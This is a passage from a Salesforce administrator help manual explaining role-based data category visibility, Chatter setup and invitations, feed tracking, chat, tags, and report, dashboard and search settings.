the topmost role in the role hierarchy, and all subordinate roles inherit that setting.

Inherited
from...

The role inherits its parent role's visibility settings. If the parent role's settings change, the child
role stays in sync. Click the name of the parent role to see its category group visibility settings.

None

Users cannot see any categories in the category group.

Custom

Users see your custom selection of categories. You can choose from the categories that are visible
to the parent role. If the parent role's visibility changes to be less than its child's visibility, the child
role's category visibility is reset to its parent's category visibility.
To select categories, double-click the category in the Available Categories box. Alternatively,
select a category and then click Add. Selecting a category implicitly includes its child and parent
categories as well. Categories that are grayed out in the All Categories box are not available for
selection because their parent has already been selected.
Note: If you are customizing a role that was previously set to All Categories, you must first
remove All from the Selected Categories box before you can select specific categories.

4. Click Save.
Implementation Tips

When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all
subordinate roles inherit that setting.
When you add a category to a role's visibility, you also grant visibility to its child and parent categories. If you want to give
a role access to all categories in a branch of the category hierarchy, select the top level category All Categories.
Users who are not assigned to a role can only see uncategorized articles and questions unless:
The user has the View all Data permission
A category group has been made visible to all no-role users on the Your Name > Setup > Customize > Data Categories
> Category Group Visibility page.

By default, Customer Portal users and partner portal users inherit the role assigned to their account managers. You can
change the category group visibility settings for each portal role.

Best Practices

Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you
manually activate a category group, it does not display in Salesforce Knowledge or your answers community

1578

Customize

Modifying Default Data Category Visibility

Always set up category group visibility in a top-down approach from the top of the role hierarchy down to the bottom.
Give the highest roles the most visibility and give subordinate roles reduced visibility.

See Also:
Managing Data Categories
About Category Group Visibility
Examples of Category Group Visibility Settings for Articles

Modifying Default Data Category Visibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view categories:

View Data Categories

To manage data categories:

Manage Data Categories

To assign default category groups:

Manage Data Categories

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

Role-based category visibility


Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To modify the default visibility for data categories:
1. Click Your Name > Setup > Customize > Data Categories > Default Data Category Visibility. All active and inactive
category groups are listed.
2. Pick a category group and click Edit.
3. Choose All to make all the categories in the category group visible by default, None to make none of the categories visible
by default, or Custom to make some of the categories visible by default.
4. If you chose Custom, move categories from the Available Categories area to the Selected Categories area as needed.
Selecting a category implicitly includes its child and parent categories as well. Move categories from the Selected Categories
area back to the Available Categories area to remove default visibility.

1579

Customize

Viewing Category Group Visibility on Roles

For important information about how visibility settings are applied, see About Category Group Visibility on page 1575.

See Also:
What are Data Categories?
About Category Group Visibility
How Category Visibility Differs from Other Salesforce Models

Viewing Category Group Visibility on Roles


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view role details:

View Setup and Configuration

To edit and delete roles:

Manage Users

To view users:

View Setup and Configuration

To edit users:

Manage Users

To view categories:

View Data Categories

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

Role-based category visibility


Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
To understand the settings and their impact, see About Category Group Visibility on page 1575.
Viewing a Role's Category Group Visibility
To view a role's category visibility setting, click Your Name > Setup > Manage Users > Roles, and select a role. To view the
category visibility settings for a Customer Portal or partner portal role, click Your Name > Setup > Manage Users > Users
and click the name of the role.
The Category Group Visibility Settings related list summarizes which categories users in the role can see, according to category
group. The following table explains the possible values in the Visibility column of the related list:

1580

Customize

How Category Visibility Differs from Other Salesforce Models

Visibility

Description

All

Users can see all categories in the category group. This option
is only available for the topmost role in the role hierarchy.
When you create a new category group, its visibility is
defaulted to All for the topmost role in the role hierarchy,
and all subordinate roles inherit that setting.

Inherited from...

The role inherits its parent role's visibility settings. If the


parent role's settings change, the child role stays in sync. Click
the name of the parent role to see its category group visibility
settings.

None

Users cannot see any categories in the category group.

Custom

Users can view a selection of categories in the category group.

In the Category Group Visibility Settings related list, you can:

Click a category group to view its setting details.


Click Edit next to a category group to modify its visibility settings.

See Also:
Managing Data Categories
About Category Group Visibility
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles

How Category Visibility Differs from Other Salesforce


Models
Available in: Enterprise, Unlimited, and Developer Editions

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

Role-based category visibility


Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default
category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These settings are unique to articles and questions and differ from other Salesforce models:

1581

Customize

Examples of Category Group Visibility Settings for Articles

Exclusive to articles and questions


Access to articles and questions are determined by category group visibility settings. Although they are standard objects,
articles and questions do not have organization-wide defaults, sharing rules, manual record sharing, or object-level
permissions like Create or Read.
Role-based access
Category group visibility settings are based on roles. Child roles cannot see more categories than their parent role. To
change a user's visibility to categories and therefore categorized articles and questions, you must change the visibility
settings for the user's current role, move the user to a different role, or, if the user doesn't have a role, make certain
categories visible to all users.
Broad interpretation of visibility settings
To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting
a category as visible makes that category and its entire directly related family lineancestors, immediate parent, primary
children, other descendantsvisible to users. For example, consider a Geography category group with continents such
as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the
only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other
words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or
below Asia and the other continents.
Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography
example, only the continent categories appear on the Answers tab; therefore, if France is the category selected
as visible in category group visibility settings, community members can see questions classified with Europe.

See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
Examples of Category Group Visibility Settings for Articles

Examples of Category Group Visibility Settings for Articles


Available in: Enterprise, Unlimited, and Developer Editions

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility
determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two
types of visibility:

Role-based category visibility


Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can
only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default

1582

Customize

Examples of Category Group Visibility Settings for Articles

category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal
users don't have roles, they can view categorized articles and questions if the associated categories are visible by default.
These examples are based on two sample category groups, Products and Geography:
Note: Although category group visiblity settings are available with answers communities (questions) and Salesforce
Knowledge (articles), the examples below apply to articles only. Answers communities support one category group
and one data category per question.
Products Category Group

All Products
Consumer Electronics
-

Cameras
Audio
Printers

Enterprise Electronics
-

Routers
Switches
PEX

Computers
-

Laptops
Desktops
PDAs

Geography Category Group

All Countries
Americas
-

USA
Canada
Brazil

Asia
-

China
Japan
India

Europe
-

France
United Kingdom

1583

Customize

Examples of Category Group Visibility Settings for Articles

Poland

Example 1: A Role Hierarchy


In this example, the Acme Electronics organization manufactures hardware and provides customer support for both consumers
and enterprises. The Engineering department is organized by products. The Support department is organized geographically.
Europe and the Americas are managed by corporate teams, but Asia is outsourced. Within the corporate and outsourced teams,
there are subteams dedicated either to consumer or enterprise support.
The table below shows the categories visible to each role in the Acme Electronics organization, and states whether the visibility
settings are inherited from the parent role or custom.
Acme Electronics Role Hierarchy Visible Geographic Categories

Visible Product Categories

CEO

All Countries

All Products

All Countries

All Products

Inherit from CEO

Inherit from CEO

Consumer Engineering
Team

All Countries

Consumer Electronics

Inherit from VP of Engineering

Custom

Enterprise Engineering
Team

All Countries

Enterprise Electronics

Inherit from VP of Engineering

Custom

Computers Engineering
Team

All Countries

Computers

Inherit from VP of Engineering

Custom

All Countries

All Products

Inherit from CEO

Inherit from CEO

Europe, America

All Products

Custom

Inherit from VP of Support

Director of Corporate
Consumer Support

Europe, America

Consumer Electronics, Computers

Inherit from VP of Corporate Support

Custom

Director of Corporate
Enterprise Support

Europe, America

Enterprise Electronics, Computers

Inherit from VP of Corporate Support

Custom

Asia

All Products

Custom

Inherit from VP of Support

VP of Engineering

VP of Support

VP of Corporate Support

Outsourced Support

Consumer Support Team Asia


Inherit from Outsourced Support
Enterprise Support Team Asia
Inherit from Outsourced Support

Consumer Electronics, Computers


Custom
Enterprise Electronics, Computers
Custom

1584

Customize

Examples of Category Group Visibility Settings for Articles

Example 2: Article Visibility


The table below is an in-depth example of how category visibility settings restrict what users see. This example has three
sample users whose category settings are noted in parentheses.
Table 1: Example: How Category Visibility Settings Restrict What Users See
Categories

When User 1's visibility isAll When User 2's visibilty


When User 3's visibility is
countries/Computers, the
isAmerica/All products, the France/None, the category
category is:
category is:
is:

All countries/Laptop

VISIBLE

VISIBLE

NOT VISIBLE

Canada/Computers

VISIBLE

VISIBLE

NOT VISIBLE

USA/All products

VISIBLE

VISIBLE

NOT VISIBLE

Europe/Switches

NOT VISIBLE

NOT VISIBLE

NOT VISIBLE

Europe/No Categories

VISIBLE

NOT VISIBLE

VISIBLE

User 1: The user's role must be granted visibility in each category that classifies the article, or each category that classifies the
article must be visible by default. In this example, User 1 can see Europe, because Europe is the child of All Countries, but
he cannot see Switches, because Switches does not belong to Computers. That's why User 1 cannot see articles classified with
Europe/Switches.
User 2: When a category is made visible to a role or is made visible by default, its child and parent categories are implicitly
included; therefore, User 2 can see articles categorized with All Countries because it is the parent category of America. He
can also see Articles classified with USA because it is the child of America.
User 3: If a role has no access to the whole category group, he can only see articles that are not categorized in that group. User
3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes
Laptop, but he can see articles categorized with Europe/No categories.

See Also:
Managing Data Categories
About Category Group Visibility
Viewing Category Group Visibility on Roles
Editing Role-Based Category Group Visibility
How Category Visibility Differs from Other Salesforce Models

1585

Salesforce Chatter

Setting Up Chatter

SALESFORCE CHATTER
Setting Up Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions
The Chatter user interface, Chatter Invitations, and Chatter Recommendations are not available in Database.com.

User Permissions Needed


To enable Chatter:

Customize Application

To set up Chatter, an administrator must:


1.
2.
3.
4.

Enable and configure Chatter.


Turn on invitations so that users can invite coworkers without Salesforce licenses to join Chatter for your organization.
Customize feed tracking for objects and fields tracked in Chatter feeds.
Optionally add the People, Profile, and Groups tabs to standard and custom apps so users can see these tabs in their apps.
Note: The Chatter, People, Profile and Groups tabs are available by default in the Chatter app.

5. Optionally, populate the Manager user field for each user.


This allows Chatter to include a person's manager and direct reports in their people recommendations. It also allows
Chatter to recommend records that someone's manager and direct reports own or follow.

See Also:
Using Chatter
Chatter FAQs

1586

Customize

Enabling, Disabling, and Configuring Chatter

Enabling, Disabling, and Configuring Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions
Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in
Database.com.

User Permissions Needed


To enable Chatter:

Customize Application

Enable Chatter to turn on Chatter feeds, groups, and profiles so people in your organization can collaborate with each other.
Note: Chatter is enabled by default for organizations created after June 22, 2010.

1.
2.
3.
4.

Click Your Name > Setup > Customize > Chatter > Settings.
Click Edit.
Select Enable. Deselect to disable Chatter.
Click Save.

Consider the following tips when enabling Chatter:

Enabling Chatter also enables the new user interface theme, which updates the look and feel of Salesforce.
Enabling Chatter also enables global search, which allows searching across Salesforce, including Chatter feeds, files, groups,
and people.
When Chatter is enabled for organizations with 15 or fewer users, all users automatically follow each other.
After enabling Chatter, you can also enable Chatter Mobile for supported mobile devices.

Configuring Chatter Settings


Customize how you want Chatter to work in your organization.

If you want to allow users to:


Choose to receive email notifications about Chatter updates, select Allow Emails. This allows each person to select
which email notifications are relevant to them. This only turns emails on or off; it doesn't control the type or frequency
of emails that people receive.
Reply to email notifications to post comments or reply to Chatter messages, select Allow Email Replies. Replies
are subject to these advanced email authentication protocols to verify the sender's legitimacy before processing the
message: SPF, SenderId, DomainKeys, and DKIM. If the sending server doesnt fail any of these protocols, the reply
email is processed. If the server fails a protocol, the email is ignored.

If your organization has Approvals in Chatter enabled, select Allow Approvals to enable users to receive approval
requests as posts in Chatter. Only users with access to the approval record can see the approval request post. Comments
on approval posts aren't persisted to the approval record.
Select Allow Coworker Invitations to let users invite people to join Chatter for your company.

1587

Customize

Enabling or Disabling Chatter Customer Invitations

Important: Starting in June 2011, invitations are automatically turned on for new Salesforce organizations and
the Email Domain is set based on the first user's email address. Invitations aren't turned on if the user's domain
is a free email provider such as yahoo.com or gmail.com.

Invited users can access Chatter people, profiles, groups, and files but cant see record data unless they have a Salesforce
license.
If you deselect Allow Coworker Invitations, users can't accept outstanding invitations. Similarly, if you remove an
email domain, users can't accept outstanding invitations from that domain.
Enter email domains to define who can join Chatter for your organization. Click Add More to add up to 200 domains.
The domains you enter should include those used in email addresses for your company, such as yourcompany.com.
Important: We recommend that you don't enter public email domains such as hotmail.com, yahoo.com, or
gmail.com. If invited, anyone with an email address in these domains can join and see user profiles, feeds, and
Chatter groups.
You can use the Send invitations from your email account link on this page to send Chatter invitations to your coworkers.
If you have a default email client set, an email containing an invitation link opens in your mail program. Otherwise, you
see an invitation link that you can copy and paste into an email.

Select Allow Customer Invitations to allow users who manage or own private Chatter groups that allow customers
to invite customers to those groups. Customers are users outside of your company's email domains. They have very limited
Chatter access and can only see groups they're invited to and interact with members of those groups.

See Also:
Chatter Overview
Setting Up Chatter
Using Chatter
Replying to Chatter Email Notifications
Getting Started With Approvals in Chatter
Chatter FAQs

Enabling or Disabling Chatter Customer Invitations


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To enable Chatter customer invitations:

Customize Application

Enabling Chatter customer invitations allows users who manage or own private Chatter groups that allow customers to invite
customers to those groups. Customers are users outside of your company's email domains. They have very limited Chatter
access and can only see groups they're invited to and interact with members of those groups.
Note: If your organization restricts users from specific domains, people outside of those domains cant be invited as
customers. To allow customers from additional domains, contact salesforce.com.

1588

Customize

Feed Tracking

1. Click Your Name > Setup > Customize > Chatter > Settings.
2. Click Edit.
3. Select Allow Customer Invitations. Deselecting this turns off customer invitations.
Note: Turning off customer invitations won't delete existing customers or groups that allow customers. Additionally,
administrators can still create customer users in Name > Setup > Manage Users > Users.
4. Click Save.
Note: When you invite someone as a customer to your group, they are given a unique username and password to log
in to this group within your organization, even if theyre already a member of another Salesforce organization. They
will not be able to use other Salesforce logins to access your customer group. If a customer has an issue logging in to
the group, verify that they are using the username and password from the welcome email they received after registering
for the group.
If a customer loses their password, they can use the Forgot Password option to reset it. If they dont have their username,
they should contact the administrator of the organization in which theyre a customer to recover it.

See Also:
About Chatter Customers in Private Groups

Feed Tracking
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions
The Account, Case, Contact, Lead, Opportunity and User objects are not available in Database.com.

User Permissions Needed


To customize fields tracked in feeds:

Customize Application

To view the field tracking setup page:

View Setup and Configuration

When you enable objects and fields for feed tracking, people see Chatter feed updates for objects and changes to fields on
records they follow.
Feed tracking is available for objects and fields. You can configure feed tracking for users, Chatter groups, custom objects, and
the following standard objects: accounts, article types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads,
opportunities, products, reports, solutions, and tasks.
Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record
in order to see changes to that record in feeds.
Consider the following feed tracking tips:

These objects and fields are tracked by default:


Account: Account Name, Account Owner

1589

Customize

Customizing Chatter Feed Tracking

Case: Case Owner, Priority, Status


Chatter Group: Allow Customers, Description, Group Access, Information Body, Information Title,
Name, Owner Name
Contact: Account Name, Contact Owner, Name
Lead: Lead Owner, Lead Status, Name
Opportunity: Amount, Close Date, Opportunity Name, Opportunity Owner, Stage
User: About Me, Address, E-mail, Manager, Phone, Title

If leads are tracked, but accounts, contacts, or opportunities are not, users won't be able to follow or see updates related to
the accounts, contacts, and opportunities created during lead conversion.
For person accounts, select the account fields you want to track. You can follow account fields, but not contact fields. For
example, select the Email field on account to see a Chatter post any time someone changes the email on a person account.
Feed tracking for events doesn't include requested meetings. Once a requested meeting is confirmed and becomes an event,
then it can be included in feeds.
While you can follow activities and knowledge articles in a Chatter feed, the Follow button in the Action column for
activity and knowledge article list views is not available.
Tracked feed updates that are older than 45 days and have no likes or comments are removed from the feed automatically.
The tracked feed updates no longer appear in the feed, but the audit history for the tracked objects is still available.

See Also:
Feeds
Using Chatter Feeds
Enabling, Disabling, and Configuring Chatter
Customizing Chatter Feed Tracking

Customizing Chatter Feed Tracking


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions
The Account, Case, Contact, Lead, Opportunity and User objects are not available in Database.com.

User Permissions Needed


To customize fields tracked in feeds:

Customize Application

To view the field tracking setup page:

View Setup and Configuration

When an administrator enables feed tracking, users see updates for objects and records they follow in their Chatter feed. Many
objects and fields are tracked by default, but administrators can further customize feed tracking to include or exclude specific
objects and fields.
You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article
types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads, opportunities, products, reports, solutions, and
tasks.

1590

Customize

Setting Up Chat

The following standard field types can't be tracked:

Auto-number, formula, and roll-up summary fields


Encrypted and read-only system fields
The Expected Revenue field on opportunities
The Solution Title and Solution Details fields on solutions; these fields display only for translated solutions in
organizations with multilingual solutions enabled

1. Click Your Name > Setup > Customize > Chatter > Feed Tracking.
2. Select an object.
3. Select Enable Feed Tracking.
You must have the required user permissions to see this checkbox. To restore the default feed tracking settings for an
object, click Restore Defaults.
4. Select up to 20 fields to track. You can't select fields for article types.
5. Click Save.

Setting Up Chat
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Allow people in your organization to chat securely with people they follow in Chatter without using external chat clients.

Enable or disable chat for your organization.


Enable chat for custom Visualforce pages.

See Also:
Enabling, Disabling, and Configuring Chatter
Using Chatter Messenger
Enabling and Disabling Chat for Visualforce Pages

Enabling and Disabling Chat


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To enable Chat:

Customize Application

Chat is enabled by default in organizations that have Chatter enabled.


1. Click Your Name > Setup > Customize > Chatter > Chat Settings.

1591

Customize

Enabling and Disabling Chat for Visualforce Pages

2. Click Edit.
3. Under Chat Settings, select or deselect Enable Chat. Chatter must be enabled to enable chat.
4. Click Save.

See Also:
Setting Up Chat
Enabling, Disabling, and Configuring Chatter
Using Chatter Messenger

Enabling and Disabling Chat for Visualforce Pages


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To enable chat for custom Visualforce pages

Customize Application

Add a chat widget to your custom Visualforce pages.


1. Click Your Name > Setup > Customize > Chatter > Chat Settings.
2. Click Edit.
3. Under Visualforce Settings, select Allow.
Deselect to disable chat for custom Visualforce pages.
4. Click Save.
To prevent the chat widget from displaying on a specific Visualforce page, do any of the following:

Turn off the Salesforce tab header on your page by setting <apex:page showHeader=false>.
Set the page contentType to something other than text/html, for example, <apex:page
contentType="text/plain">.

See Also:
Setting Up Chat
Managing Custom Components

1592

Social Contacts

Enabling and Configuring Social Accounts and Contacts

SOCIAL CONTACTS
Enabling and Configuring Social Accounts and Contacts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable, configure, or disable Social Accounts and Contacts: Customize Application

Enable Social Accounts and Contacts so your users can keep up to date on their accounts', contacts', and leads' social information
without leaving Salesforce. You can also configure the social networks that are available for your organization, if needed.
Note: The Social Accounts and Contacts feature is enabled by default for organizations created after the Spring 12
release. If your organization was created before that, you need to enable the feature yourself.
1.
2.
3.
4.

Click Your Name > Setup > Customize > Social Accounts and Contacts > Settings.
Click Change your organization's Social Accounts and Contacts settings.
Select Enable Social Accounts and Contacts. To disable Social Accounts and Contacts for everyone, deselect this checkbox.
Select the social networks that your organization may use. Deselect any of the services that you want to turn off for your
organization. By default, all social networks are turned on.
5. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview

1593

Customize

Tags Settings

Tags Settings
Tag settings available in: All Editions

User Permissions Needed


To modify tag settings:

Customize Application

Administrators set up and manage personal and public tags by:

Enabling tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads,
notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members)
Adding tags to the sidebar for their users
Deleting personal tags for deactivated users

See Also:
Using the Tags Sidebar Component
Tagging Records

Enabling Tags
Tag settings available in: All Editions

User Permissions Needed


To modify tag settings:

Customize Application

1. Click Your Name > Setup > Customize > Tags > Tag Settings.
2. Select Enable Personal Tags and Enable Public Tags to allow users to add personal and public tags to records.
Deselect both options to disable tags.
3. Specify which objects and page layouts should display tags in a tag section at the top of record detail pages. The tag section
is the only way that a user can add tags to a record.
For example, if you only select account page layouts, users in your organization can only tag account records. Additionally,
if you only select account page layouts for personal tags and not public tags, users can only tag account records with personal
tags.
4. Click Save.
Use these tips when enabling tags.

1594

Customize

Tags Settings

When you enable tags, you can also add them to a page layout by editing the page layout directly. See Customizing Page
Layouts on page 1278.
Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are enabled
for the custom object. If you want custom object records to appear in search results or on the Tags page, you must create
an associated tab. The tab doesn't have to be visible to users.
Customer Portal users can't view the tags section of a page, even if it is included in a page layout.

See Also:
Tags Overview
Adding Tags to the Sidebar
Using the Tags Sidebar Component
Tagging Records
Deleting Personal Tags for Deactivated Users

Adding Tags to the Sidebar


Tag settings available in: All Editions

User Permissions Needed


To modify tag settings:

Customize Application

When you enable tags for your organization, you can add the Tags component to your users' sidebar. This component allows
users to navigate to the Tags page where they can browse, search, and manage their tags. It also lists each user's most recently
used tags. To add this component:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Home > Home Page Layouts.
Next to a home page layout that you want to modify, click Edit.
Select the Tags checkbox and click Next.
Arrange the Tags component on your page layout as desired, and click Save.
Tip: If you want the Tags component to appear on all pages and not just the Home tab, click Your Name > Setup
> Customize > User Interface, and select Show Custom Sidebar Components on All Pages.

See Also:
Using the Tags Sidebar Component

1595

Reports & Dashboards

Customizing Report and Dashboard Settings

Deleting Personal Tags for Deactivated Users


Personal Tag Cleanup available in: All Editions

User Permissions Needed


To delete personal tags for deactivated users:

Customize Application

Your organization can have a maximum of 5,000,000 personal and public tags applied to records across all users. If your
organization is approaching this limit, you can delete personal tags for deactivated users.
1. Click Your Name > Setup > Customize > Tags > Personal Tag Cleanup.
2. Select one or more deactivated users and click Delete.
You can't restore personal tags after you delete them.

See Also:
Tags Limits
Enabling Tags
Using the Tags Sidebar Component
Tagging Records

REPORTS & DASHBOARDS


Customizing Report and Dashboard Settings
Available in: All Editions except Database.com

User Permissions Needed


To modify report and dashboard settings:

Customize Application

Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this
page, click Your Name > Setup > Customize > Reports & Dashboards and click the following links to access report and
dashboard settings:

Customize report and dashboard user interface settingsControl features of the report and dashboard user interface,
such as floating report headers, the auto-complete Dashboard Finder, and charting options.

1596

Customize

Customizing Report and Dashboard User Interface Settings

Customize report and dashboard email settingsControl the way email notifications are sent, including image handling
in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users.
Customize report foldersClick this link to go to the last open report folder. From there, you can edit folder properties,
such as name, access, and sharing.

See Also:
Customizing Report and Dashboard User Interface Settings
Customizing Report and Dashboard Email Settings
Enabling Mobile Dashboards for iPad Users

Customizing Report and Dashboard User Interface Settings


Available in: All Editions except Database.com

User Permissions Needed


To modify report and dashboard settings:

Customize Application

Report and dashboard user interface settings that you can modify include floating report headers, the dashboard finder, the
report timeout warning, and dashboard component snapshots. You can choose to enable or disable each of these for your
organization..
1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings.
2. Select or deselect options to modify the settings for your organization.
Enable Floating Report Headers
Floating report headers keep the column headings on tabular reports in sight no matter how far users scroll down
report results. With floating report headers, users can scroll to the bottom of lengthy tabular reports without having
to scroll back to the top to view the names of the column headings. Users can also click floating report headers to
sort data in a specific column. When users sort data by clicking a floating report heading, the report refreshes and
redirects users to the beginning of report results.
Enable Dashboard Finder
Dashboard finder uses auto-complete to help users quickly find dashboards in the Dashboards tab. This option is
enabled by default. To find a dashboard on the Dashboards tab, start typing its name in the search filter, and all
dashboards matching that text are dynamically displayed in the drop-down list. The list first shows dashboards the
user viewed recently, and then other dashboards appear in alphabetical order by folder. The first 1000 results are
shown in a single list; above 1000, results are shown 500 per page. Users only see dashboards in folders they can
access. Disable this option to use the static drop-down list instead.
Enable Report Timeout Warning
The report timeout warning analyzes reports at runtime, identifies those that are highly complex and likely to time
out, and displays a warning. This option is enabled by default. Users with permission to modify reports can edit the
report to improve performance. Users can also run the report in spite of the warning.

1597

Customize

Upgrading Report Builder

The report timeout warning only analyzes reports run manually from the Run Reports page. It doesnt analyze
scheduled reports, reports run from dashboards, or reports run using background export.
The report timeout warning might occasionally flag reports that dont time out. Additionally, the warning assumes
that your organizations reports will time out after 10 minutes, which is the standard length of time reports can run
before timing out. If your organization has extended the limit to 20 minutes, the reports might be less likely to time
out. Keep in mind that, even if flagged reports run successfully, they remain highly complex, required extended run
times, and could time out in the future. See Tips for Improving Report Performance.
Enable Dashboard Component Snapshots
Dashboard component snapshots let users with access to dashboards post static images of dashboard components to
Chatter user or group feeds, making the snapshot visible to all users. Chatter feed tracking for dashboards must first
be enabled.
Important: This option lets users override dashboard visibility settings, making snapshots visible to all
Chatter users. Though this makes it easy to share time-specific data without having to add people to dashboard
folders, be aware that users can inadvertently post sensitive or confidential information.
3. Click Save.

See Also:
Customizing Report and Dashboard Settings
Enabling Mobile Dashboards for iPad Users

Upgrading Report Builder


Available in: All Editions except Database.com

User Permissions Needed


To modify report and dashboard settings:

Customize Application

We've released an updated version of report builder, the powerful drag-and-drop editor for reports. With this upgrade:

All profiles get access to the report builder by default. (You may continue to see the Report Builder permission in
permission sets and profiles and the PermissionSet and Profile objects in the API, though the upgrade overrides those
settings.)
The old report wizard will be available only to users in Accessibility Mode.
Group and Professional Edition organizations can use report builder.
You get scatter charts, a new chart type for reports.

Administrators for existing organizations must manually enable this upgrade. New organizations automatically get the latest
version of report builder. If you don't see the Report Builder Upgrade section on the User Interface Settings page, the upgrade
has already been enabled for your organization. Its important to understand that assigning the Report Builder permission

1598

Customize

Customizing Report and Dashboard Email Settings

to all users through profiles or permission sets isnt the same thing as enabling report builder for your entire organization. To
do that, you need to follow the procedure in this topic.
Important: Upgrading does not affect any of your existing reports. However, once you upgrade, you can't return to
the old report wizard.
To enable report builder for all users:
1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings.
2. Review the Report Builder Upgrade section of the page and click Enable. If you dont see the button, report builder has
already been enabled for your entire organization.
3. Confirm your choice by clicking Yes, Enable Report Builder for All Users.

See Also:
Customizing Report and Dashboard User Interface Settings

Customizing Report and Dashboard Email Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify report and dashboard settings:

Customize Application

To change your organization's report and dashboard email settings:


1. Click Your Name > Setup > Customize > Reports & Dashboards > Email Settings.
2. Select or deselect the following checkboxes to modify the settings for your organization:
Use Images Compatible with Lotus Notes in Dashboard Emails
Dashboard refresh notifications can be sent to specified users when a scheduled dashboard refresh completes. By
default, Salesforce sends images in dashboard emails as .png (Portable Network Graphic) files, which are not
supported in Lotus Notes. When you enable the Use Images Compatible with Lotus Notes in Dashboard
Emails option, Salesforce uses .jpg images, which Lotus Notes supports, when sending dashboard emails. The
Schedule Dashboard permission is required to view this option.
Note: Dashboard emails that contain images compatible with Lotus Notes are substantially larger and the
image quality may be lower.

Allow Reports and Dashboards to Be Sent to Portal Users


This option, disabled by default, is available to Enterprise and Unlimited Edition organizations that have a Customer
Portal or partner portal set up. Unless enabled, only internal Salesforce users can receive reports and dashboard refresh
notifications. If you enable this option, all internal and portal users specified as recipients receive reports and dashboards.

1599

Customize

Customizing Search Settings

3. Click Save.

See Also:
Customizing Report and Dashboard Settings
Enabling Mobile Dashboards for iPad Users

Customizing Search Settings


Available in: All Editions except Database.com

User Permissions Needed


To modify search settings:

Customize Application

To change your organization's search settings:


1. Click Your Name > Setup > Customize > Search > Search Settings.
2. Modify the search settings for your organization.
3. Click Save.

Search Settings
The search settings are:
Enable Drop-Down List for Sidebar Search
The drop-down list for sidebar search allows you to limit users' searches by object. When you select Enable Drop-Down
List for Sidebar Search, a drop-down list appears in the Search section. From this list users can select to search
within tags, within a specific object, or across all objects.
Enable Limit to Items I Own Search Checkbox
The Limit to Items I Own checkbox allows your users to include only records for which they are the record owner
when entering search queries in the sidebar.
Note: The Limit to Items I Own checkbox that appears in advanced search is always available to users,
regardless of this setting.

Enable Document Content Search


Enabling Document Content Search allows you to perform a full-text search of a document. When a new document
is uploaded or an old one is replaced, its contents are available as search terms to retrieve the document.
Enable Search Optimization if your Content is Mostly in Japanese, Chinese, or Korean
Enabling this checkbox optimizes search for the Japanese, Chinese, and Korean languages. It affects sidebar search and
the account search for Find Duplicates on a lead record in sidebar search and global search. Enable this option if users
